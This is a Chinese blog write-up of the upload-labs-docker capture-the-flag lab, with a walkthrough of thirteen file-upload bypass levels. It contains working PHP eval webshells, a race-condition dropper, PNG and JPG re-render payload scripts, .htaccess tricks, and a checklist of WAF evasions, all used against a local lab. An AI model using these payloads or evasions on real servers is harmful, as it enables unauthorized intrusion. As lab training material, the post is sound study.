GGCTF-UPLOAD 通关记录

  • A+
所属分类:安全博客

前言

在 11月打 HW 的时候,遇到了一个靶标服务器二次渲染的文件上传点,因为之前没仔细研究没能拿到权限,还是有点遗憾的。而且 Getshell 的主要两个方式就是文件上传和远程命令执行,所以正好借着这个国光的文件上传靶场来总结一下文件上传的姿势。


手册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# PHP
1.遇到上传点传 php 失败
2.传php2,php3看下是黑名单还是白名单
3.走一遍正常逻辑传 jpg 看下上传模块是否正常,节约时间

# Jsp
1.正常流程走一遍
2.判断黑白名单
3.Asp,aSp,aaspsp
4.as
p
asp空格
asp%00
asp%0a
5.可以在这 .①a②s③p④ 这四个位置进行 fuzz !!!很重要
6..aspx , .cer , .cdx , .asmx , ascx试一下
7.16进制编码

# Tips
要看 POST 包我们什么东西可控


# 绕waf
- 垃圾数据填充 (WAF为了保证速度,可能只会检测包的前1M)
- 设置多个filename字段 (早期版本安全狗缺陷)
- 更换filename字段位置 (早期版本安全狗缺陷)
- 替换为GET包 (部分WAF只检测POST包中的参数)
- 删除实体里面的Conten-Type字段 (某些WAF检测不到该字段就直接放行)
- 删除Conten-Type中“C”后面的字符串,再加上脚本的后缀 (WAF规则缺陷)
- 删除Content-Disposition字段里的空格 (WAF规则缺陷)
- 修改Content-Disposition字段值的大小写 (WAF规则缺陷
- Boundary后面加个空格或者其他可被正常处理的字符 (WAF规则缺陷)
- Boundary边界修改为不一致 (两段Boundary不一致使得waf认为这段数据是无意义的,但容器并可能并没有这么严格)
- 在文件名处换行 (WAF规则缺陷)
- 使用多个Content-Disposition (在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过)
- 利用NTFS ADS特性 (NTFS是Windows常用的文件系统格式。该格式支持交换数据流(Alternate Data Streams,缩写ADS)特性。该特性可以让多个文件流使用同一个文件名,便于系统管理和使用文件。这样,一个文件名可以包含一个主文件流和多个非主文件流。其中,主文件流可以以文件名直接访问,而其他文件流需要以“文件名:文件流名”进行访问。例如“Test.php::$DATA”可以直接生成Webshell“Test.php”绕过黑名单,当然若waf对filename匹配不当的话也可能会导致绕过。并且对于这类文件,普通的文件管理器只能看到主文件流,而无法看到其余的文件流,因此可以把一个或者多个文件隐藏到另外一个文件中。)
- 后缀名后加“.” (Windows特性,存储时会删除“.”)
- 超长后缀绕过后端重命名 (若后端程序对上传的文件除后缀部分重命名,构造很多”.”、“-”等符号有可能不被waf拦截)
- 超长文件名 (文件名使用中文、特殊符号并最大程度的拉长)
- 文件名结尾加“\” (安恒某版本云waf规则缺陷)

搭建环境

  1. 靶场 Github 地址:https://github.com/sqlsec/upload-labs-docker 下载到本地

  2. 进入项目文件夹:cd upload-labs-docker

  3. 部署运行:docker-compose up -d

  4. 准备一个一句话木马 x.php

1
<?php eval($_REQUEST[x]);?>

GET 和 POST 请求都可以用

GGCTF-UPLOAD 通关记录

一切准备就绪 ~

那就访问:http://127.0.0.1:30001/ 开始第一关吧

30001 - 30013 一个端口一关


30001 - JavaScript 绕过

GGCTF-UPLOAD 通关记录

本关特征

抓不到数据包的情况下,依然提示文件类型不正确

Bypass

本关客户端 js 校验代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<script>
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
swal("请添加上传文件", "", "error");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif",".jpeg");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
swal("只允许上传图片类型的文件!", "", "error");
return false;
}
}
}

function error(){
swal("上传失败", "", "error");
}
</script>

调试 js

选到 whitelist 函数这行 开始调试 js:

GGCTF-UPLOAD 通关记录

找到该变量 直接修改数组元素的值

右边为单点调试 左边为结束调试

GGCTF-UPLOAD 通关记录

结束调试 成功上传:

GGCTF-UPLOAD 通关记录

访问http://127.0.0.1:30001/upload/1.php?x=system(%27cat%20/flag%27);拿到 flag

GGCTF-UPLOAD 通关记录

禁用 js

设置地址:chrome://settings/content/javascript

抓包

可以先上传通过客户端校验后缀的文件 再通过抓包修改后缀绕过:

GGCTF-UPLOAD 通关记录


30002 - htaccess 解析规则绕过

htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

.htaccess文件最常用的功能应该就是自定义404页面了,其操作也非常简单,在.htaccess 文件中加入代码:ErrorDocument 404 /Error.html ,然后建立一个简单的html404页面并命名 Error.html即可。

GGCTF-UPLOAD 通关记录

本关特征

黑名单几乎过滤了所有有问题的后缀名,除了.htaccess

Bypass

上传一个允许的后缀文件 抓包修改文件名和内容:

  • 文件名:.htaccess
  • 内容:SetHandler application/x-httpd-php

GGCTF-UPLOAD 通关记录

这里的 htaccess 文件会使服务器把我们上传的其他后缀文件当成 php 文件解析

GGCTF-UPLOAD 通关记录

此时服务器的目录:

GGCTF-UPLOAD 通关记录


30003 - MIME 绕过

媒体类型(通常称为 Multipurpose Internet Mail ExtensionsMIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。

MIME的组成结构非常简单;由类型与子类型两个字符串中间用 ‘/‘ 分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。

通用的结构为:

1
type/subtype

MIME类型对大小写不敏感,但是传统写法都是小写。

GGCTF-UPLOAD 通关记录

本关特征

服务端校验 上传图片格式不解析 其他格式(包括 .htaccess)提示文件类型不正确

Bypass

抓包修改 Content-Type 字段:

GGCTF-UPLOAD 通关记录

上传成功

GGCTF-UPLOAD 通关记录


30004 - 文件头绕过

常见的文件头标志如下:

  • JPEG (jpg),文件头:FFD8FF
  • PNG (png),文件头:89504E47
  • GIF (gif),文件头:47494638
  • HTML (html),文件头:68746D6C3E
  • ZIP Archive (zip),文件头:504B0304
  • RAR Archive (rar),文件头:52617221
  • Adobe Acrobat (pdf),文件头:255044462D312E
  • MS Word/Excel (xls.or.doc),文件头:D0CF11E0

GGCTF-UPLOAD 通关记录

本关特征

服务端白名单校验 只允许上传固定类型的文件 getReailFileType 函数只会校验文件前几个字节

Bypass

抓包添加文件头 GIF89a 假装自己是个 GIF 文件

GGCTF-UPLOAD 通关记录

成功上传

GGCTF-UPLOAD 通关记录


30005 - 双写绕过

关键代码:

GGCTF-UPLOAD 通关记录

本关特征

上传 php 文件后修改 MIME 类型伪造文件头成功上传

但是上传的结果是这个样子:

GGCTF-UPLOAD 通关记录

上传的 php 文件后缀被替换了 导致服务器不解析

回过头来看正是这行代码造成的:

1
$name = str_ireplace($blacklist,"",$name);

GGCTF-UPLOAD 通关记录

看到『 忽略大小写版本 』:无法通过大小写绕过

Bypass

抓包双写为 pphphp 后缀

GGCTF-UPLOAD 通关记录

成功上传

GGCTF-UPLOAD 通关记录


30006 - 大小写绕过

本关函数使用了 str_replace

GGCTF-UPLOAD 通关记录

本关特征

同样的黑名单替换且 Windows 环境特性是不区分大小写

Bypass

抓包修改后缀 Php

GGCTF-UPLOAD 通关记录

成功上传

GGCTF-UPLOAD 通关记录


30007 - GET 型 %00 截断绕过

%00 截断:PHP 内核是由 C 语言实现的,所以使用了 C 语言中的一些字符串处理函数。比如在连接字符串时候, 0 字节 (\x00) 将作为字符串结束符。所以在这个地方,攻击者只要在最后加入一个 0 字节,就能截断 file 变量之后的字符串。

%00 截断适用条件

  • magic_quotes_gpc = Off
  • PHP 版本小于 5.3.4

GGCTF-UPLOAD 通关记录

本关特征

  • 只允许上传 jpg jpeg png gif 类型的文件

  • 观察上图 路径信息是以 GET 方式传递到服务端的 默认会进行一次 URL 编码

  • 而 %00 解码后就是空字节

Bypass

上传 x.php 抓包修改后缀和 MIME 类型 同时在上传路径添加 new.php 并使用 %00 截断

GGCTF-UPLOAD 通关记录

成功绕过:

GGCTF-UPLOAD 通关记录

原理是 %00 起到截断的作用,最终会在 upload 目录下面生成 new.php

GGCTF-UPLOAD 通关记录

顺便读一下 flag:

GGCTF-UPLOAD 通关记录


30008 - POST 型 %00 截断绕过

题目同上

本关特征

抓包发现路径信息是以 POST 方式传递到服务端的

Bypass

抓包通过 %00 截断

GGCTF-UPLOAD 通关记录

因为不是 GET 型 所以需要手动 URL 解码

GGCTF-UPLOAD 通关记录

这里解码后虽然看起来没有东西 但是如果不存在 %00 URL 解码后的空字节的话无法绕过成功上传

上传成功:

GGCTF-UPLOAD 通关记录


30009 - 黑名单绕过

GGCTF-UPLOAD 通关记录

本关特征

黑名单限制了不可上传的文件类型

GGCTF-UPLOAD 通关记录

Bypass

抓包改后缀为 phtml 即可上传成功:

GGCTF-UPLOAD 通关记录

题目中提示的这些冷门后缀均可以绕过:phtml pht php3 php3p php4 php5

或者 BP 改包:

p

hp

或者后缀加 00% 或者 %0a(换行) 或者空格

尝试能否在 ①.②p③h④p⑤ 这五个位置进行 fuzz


30010 - 条件竞争绕过

GGCTF-UPLOAD 通关记录

本关特征

还是同样的白名单服务端校验:

GGCTF-UPLOAD 通关记录

  1. 先通过 move_uploaded_file() 将文件上传至服务器中
  2. 上传完毕后通过 in_array($ext,$whitelist) 检查文件名后缀
  3. 如果后缀名合法,则对文件进行 rename 重命名,上传完成
  4. 如果后缀名非法,则 unlink 删除文件

因此可以通过条件竞争的方式在unlink之前,访问 shell.php

Bypass

竞争马 shell.php

1
<?php fputs(fopen('x.php','w'),'<?php eval($_REQUEST[x])?>');?>

抓包发送到 Intruder 使用 Null 空值无限爆破:

GGCTF-UPLOAD 通关记录

然后抓取访问 shell.php 的数据包:

1
2
3
4
5
6
7
8
9
10
11
12
GET /upload/shell.php HTTP/1.1
Host: 127.0.0.1:30010
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

也使用 Null 空值爆破:

GGCTF-UPLOAD 通关记录

这里空值爆破的时候一定要把 Positions 中的变量 clear 掉

上传成功:

GGCTF-UPLOAD 通关记录

进容器中验证一下:

GGCTF-UPLOAD 通关记录

1
2
3
4
# 查看当前容器
docker ps -a
# 进入容器
docker exec -it a92 /bin/bash

30011 - 二次渲染绕过

GGCTF-UPLOAD 通关记录

本关特征

  • 服务端对上传的图片做了二次渲染

  • 可以远程文件包含逃避渲染上传后的图片

GGCTF-UPLOAD 通关记录

Bypass

分别使用 GIF、PNG、JPG 来尝试绕过:

GIF

上传一张 cute.gif

GGCTF-UPLOAD 通关记录

下载渲染后的 /upload/1616623862.gif

使用 010Editor 打开渲染前后的两张 GIF,在没有发生变化的数据库部分插入 Webshell

GGCTF-UPLOAD 通关记录

对比发现文件头后到箭头上方的内容是一样的:

GGCTF-UPLOAD 通关记录

插入一句话 <?php eval($_REQUEST[1]);?>

GGCTF-UPLOAD 通关记录

上传后下载渲染后的 GIF 查看payload 是否还在:

GGCTF-UPLOAD 通关记录

利用文件包含上传的图马:http://127.0.0.1:30011/?file=./upload/655485171.gif

GGCTF-UPLOAD 通关记录

读 Flag:http://127.0.0.1:30011/?file=./upload/655485171.gif&1=system(%27cat%20/f*%27);

/表示根目录的文件或文件夹

./ 表示当前目录的文件或文件夹 「 等于不加 / 」

../表示父级目录的文件或文件夹

GGCTF-UPLOAD 通关记录

PNG

PNG 二次渲染后除了文件头,其他部分全部不一致

写入 PLTE 数据块

WooYun 乌云 - php imagecreatefrom* 系列函数之 png

修改索引图像插入 PHP 代码的脚本项目地址为:Github - poc_png.py

因为只有索引图像才能将 payload 成功插入到 PLTE 数据块中

所以准备一张索引颜色的 love.png

GGCTF-UPLOAD 通关记录

使用上面的脚本生成 love_shell.png

1
2
3
4
5
6
7
8
python png_shell.py -p '<?php eval($_REQUEST[1]);?>' -o love_shell.png love.png

hexdump -C love_shell.png | head -5
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 01 68 00 00 01 68 08 03 00 00 00 4d 3b 91 |...h...h.....M;.|
00000020 e7 00 00 03 00 50 4c 54 45 3c 3f 70 68 70 20 65 |.....PLTE<?php e|
00000030 76 61 6c 28 24 5f 52 45 51 55 45 53 54 5b 31 5d |val($_REQUEST[1]|
00000040 29 3b 3f 3e ff ff fe ff ff fe ff ff ff ff ff ff |);?>............|

上传进行二次渲染得到 1914602453.png

使用脚本再次生成 love_shell1.png

1
2
3
4
5
6
7
8
python png_shell.py -p '<?php eval($_REQUEST[1]);?>' -o love_shell1.png 1914602453.png

hexdump -C love_shell1.png | head -5
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 01 68 00 00 01 68 08 03 00 00 00 4d 3b 91 |...h...h.....M;.|
00000020 e7 00 00 01 f5 50 4c 54 45 3c 3f 70 68 70 20 65 |.....PLTE<?php e|
00000030 76 61 6c 28 24 5f 52 45 51 55 45 53 54 5b 31 5d |val($_REQUEST[1]|
00000040 29 3b 3f 3e fc fb fb fd fc fd fa fa fa fb fa fa |);?>............|

再次上传得到 1997665874.png

GGCTF-UPLOAD 通关记录

读取 Flag:http://127.0.0.1:30011/?file=upload/1997665874.png&1=system(%27cat%20/f*%27);

GGCTF-UPLOAD 通关记录

这里一共需要使用脚本制作两次:

GGCTF-UPLOAD 通关记录

写入IDAT数据块

新建一个 IDAT.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./shell.png');
?>

命令行 php IDAT.php 生成 shell.png

1
2
3
4
5
6
7
8
9
10
11
12
13
hexdump -C shell.png
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 00 20 00 00 00 20 08 02 00 00 00 fc 18 ed |... ... ........|
00000020 a3 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e |.....pHYs.......|
00000030 c4 01 95 2b 0e 1b 00 00 00 60 49 44 41 54 48 89 |...+.....`IDATH.|
00000040 63 5c 3c 3f 3d 24 5f 47 45 54 5b 30 5d 28 24 5f |c\<?=$_GET[0]($_|
00000050 50 4f 53 54 5b 31 5d 29 3b 3f 3e 58 80 81 81 c1 |POST[1]);?>X....|
00000060 73 5e 37 93 fc 8f 8b db 7e 5f d3 7d aa 27 f7 f1 |s^7.....~_.}.'..|
00000070 e3 c9 bf 5f ef 06 7c b2 30 30 63 d9 b9 67 fd d9 |..._..|.00c..g..|
00000080 3d 1b ce 32 8c 82 51 30 0a 46 c1 28 18 05 a3 60 |=..2..Q0.F.(...`|
00000090 14 8c 82 51 30 0a 86 0d 00 00 81 b2 1b 02 07 78 |...Q0..........x|
000000a0 0d 0c 00 00 00 00 49 45 4e 44 ae 42 60 82 |......IEND.B`.|
000000ae

GGCTF-UPLOAD 通关记录

上传后下载二次渲染之后的 1800595762.png 检验一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
hexdump -C 1800595762.png
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 00 20 00 00 00 20 08 02 00 00 00 fc 18 ed |... ... ........|
00000020 a3 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e |.....pHYs.......|
00000030 c4 01 95 2b 0e 1b 00 00 00 60 49 44 41 54 48 89 |...+.....`IDATH.|
00000040 63 5c 3c 3f 3d 24 5f 47 45 54 5b 30 5d 28 24 5f |c\<?=$_GET[0]($_|
00000050 50 4f 53 54 5b 31 5d 29 3b 3f 3e 58 80 81 81 c1 |POST[1]);?>X....|
00000060 73 5e 37 93 fc 8f 8b db 7e 5f d3 7d aa 27 f7 f1 |s^7.....~_.}.'..|
00000070 e3 c9 bf 5f ef 06 7c b2 30 30 63 d9 b9 67 fd d9 |..._..|.00c..g..|
00000080 3d 1b ce 32 8c 82 51 30 0a 46 c1 28 18 05 a3 60 |=..2..Q0.F.(...`|
00000090 14 8c 82 51 30 0a 86 0d 00 00 81 b2 1b 02 07 78 |...Q0..........x|
000000a0 0d 0c 00 00 00 00 49 45 4e 44 ae 42 60 82 |......IEND.B`.|
000000ae

成功绕过:

GGCTF-UPLOAD 通关记录

JPG

JPG 也需要使用脚本将数据插入到特定的数据库,而且可能会不成功,所以需要多次尝试。

项目地址Github - lackFan/jpg_payload

  1. 先上传 sheep.jpg

  2. 下载渲染后的 518422027.jpg

  3. 使用 jpg_payload.php 脚本插入 payload

1
2
3
4
5
6
# 修改脚本第一行的 payload:
$miniPayload = '<?php $_GET[0]($_POST[1]);?>';

# 命令行执行
php jpg_payload.php 518422027.jpg
Success!%
  1. 上传脚本处理后的 payload_518422027.jpg

GGCTF-UPLOAD 通关记录

  1. 二次渲染后得到 596614187.jpg

GGCTF-UPLOAD 通关记录

  1. 检查一下 payload 还在不在:

GGCTF-UPLOAD 通关记录

  1. 成功执行 ls / 命令:

GGCTF-UPLOAD 通关记录

注意需要被服务端 imagecreatefromjpeg 渲染后再用脚本插入 payload


30012 - move_uploaded_file 绕过

GGCTF-UPLOAD 通关记录

本关特征

1
move_uploaded_file($temp_file, $img_path)

$img_path 可控的时候,还会忽略掉 $img_path 后面的 /. 可直接 Getshell

Bypass

保存文件名称为 x.php/.

GGCTF-UPLOAD 通关记录

读一下 Flag:

GGCTF-UPLOAD 通关记录


30013 - 代码审计绕过

GGCTF-UPLOAD 通关记录

本关特征

核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

首先看第一个判断:

1
2
3
4
5
$allow_type = array('image/jpeg','image/png','image/gif');

if(!in_array($_FILES['upload_file']['type'],$allow_type)){
echo "<script>black();</script>";
}

所以必须保证我们上传的表单 MIME 类型一定要符合标准。

接着对我们提交的 sava_name 的字符串进行处理,如果不是数组的话就以 .为分隔,打散为数组:

1
2
3
4
5
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

如果是数组的话就无需打散,这里比较关键,后面再详细说,先记着。

因为打散后会校验最后的后缀:

1
2
3
4
5
6
$ext = end($file);
$allow_suffix = array('jpg','png','gif');

if (!in_array($ext, $allow_suffix)) {
echo "<script>black();</script>";
}

如果不是合法后缀的话直接就报错了,所以我们老老实实的传入合法的字符串类型的不行的,这里的传入一个数组。比如这样的数组:

1
$file = [0=>'shell.php/', 2=>'png']

这样执行完最后的拼接文件名的代码后:

1
2
$file_name = reset($file) . '.' . $file[count($file) - 1];
$file_name = 'shell.php/' . '.' . $file[2 - 1]; = 'shell.php/'.'' = 'shell.php/.'

这样最后一步:

1
2
move_uploaded_file($temp_file, $img_path)
move_uploaded_file($temp_file, 'xx/xx/shell/php/.')

结合前面的 move_uploaded_file 函数缺陷,会忽略掉文件末尾的 /.,所以最终就可以成功将 webshell 上传。

Bypass

抓包构造数据包:

GGCTF-UPLOAD 通关记录

上传成功:

GGCTF-UPLOAD 通关记录


文件上传漏洞

文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。

本质

上传文件时,如果服务端代码没有对客户端上传的文件进行严格的验证和过滤, 就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。

条件

  • 首先,上传的文件能够被 Web 容器解释执行。所以文件上传后所在的目录要是 Web 容器所覆盖到的路径。
  • 其次,用户能够从 Web 上访问这个文件。如果文件上传了,但用户无法通过 Web 访问,或者无法使得 Web容器解释这个脚本,那么也不能称之为漏洞。
  • 最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。

危害

上传WebShell 控制整个网站,甚至控制服务器

防御方法

1、严格规范文件上传处理逻辑设计,不建议先存储后判断的方式,以免引起条件竞争类漏洞。
2、严格检查上传的文件后缀名、Content-Type、文件内容等。
3、定时修复服务器端的解析类漏洞,以及文件包含类漏洞避免漏洞组合。

ByPass 技巧

1.客户端校验绕过

  • 直接修改 js 代码或者使用抓包的方法修改请求内容绕过,可以先上传一个gif木马,通过抓包修改为 jsp/php/asp。
  • 关闭 js 尝试绕过

2.服务端绕过

  • 通过抓包来修改Http头的content-type绕过
  • 图片马:copy pic.jpg/b+shell.php/a shell.jpg

3.黑名单绕过

  • 将后缀改为php. php_ php4 phptml php空格 再上传
  • 使用%00截断:/var/www/html/upload/shell.php%00 shell.png
  • 双写绕过:上传的文件名为shell.pphphp,那么被替换之后就为shell.php

4.htaccess文件绕过

  • 先上传一个名为.htaccess的文件,内容为:AddType application/x-httpd-php .png
  • 让 png 后缀的文件当做 PHP 来解析

IIS6.0解析漏洞

  1. IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll

  2. 很多地方都会用到“;”,作用是结束,IIS6.0在这就是一个漏洞了。例如:上传a.asp;jpg,服务器就会将它作为asp去执行,但是这个文件的名称依旧是:a.asp;jpg,只是在执行的过程中,web容器解析的锅

  3. 另一种解析漏洞就是“/”,例如:命名为 a.asp/123.jpg,简单的说这相当于构建了一个新的文件夹a.asp,凡是这个里的文件都会以asp去执行(<7.5都有)

Nginx 解析漏洞

Nginx <=0.8.37

在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞

在一个文件路径(/xx.jpg)后面加上.php会将 /xx.jpg.php 解析为 php 文件。

(站长评论:从 /test.jpg/x.php 演变过来的,具体可以参考:Ngnix 空字节可远程执行代码漏洞)

CGI解析漏洞

CGI简单的说,可以理解为是web服务器和独立程序之间的管家:服务器将a类型文件,交给CGI,CGI交给处理a类型文件的程序。

过程:

  1. 上传图片马,不用改变图片马的名称,假如上传1.jpg
  2. 访问图片马文件位置,比如www.aaa.com/bbb/ccc/1.jpg
  3. 在文件路径补充:“/.php”,即www.aaa.com/bbb/ccc/1.jpg/.php
  4. 访问该路径验证:www.aaa.com/bbb/ccc/1.jpg/.php=phpinfo();

原理

CGI一看是php后缀结尾,便给php程序去执行,php去找名字为“ 1.jpg”的文件夹,没找到,便去找“1.jpg”的文件,找到后执行。

漏洞本质:少了在次检测的环节。


参考资料

国光的保姆级 WriteUp:

https://github.com/sqlsec/upload-labs-docker/blob/main/WP.md

FROM : lintstar.top , Author: 离沫凌天๓

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: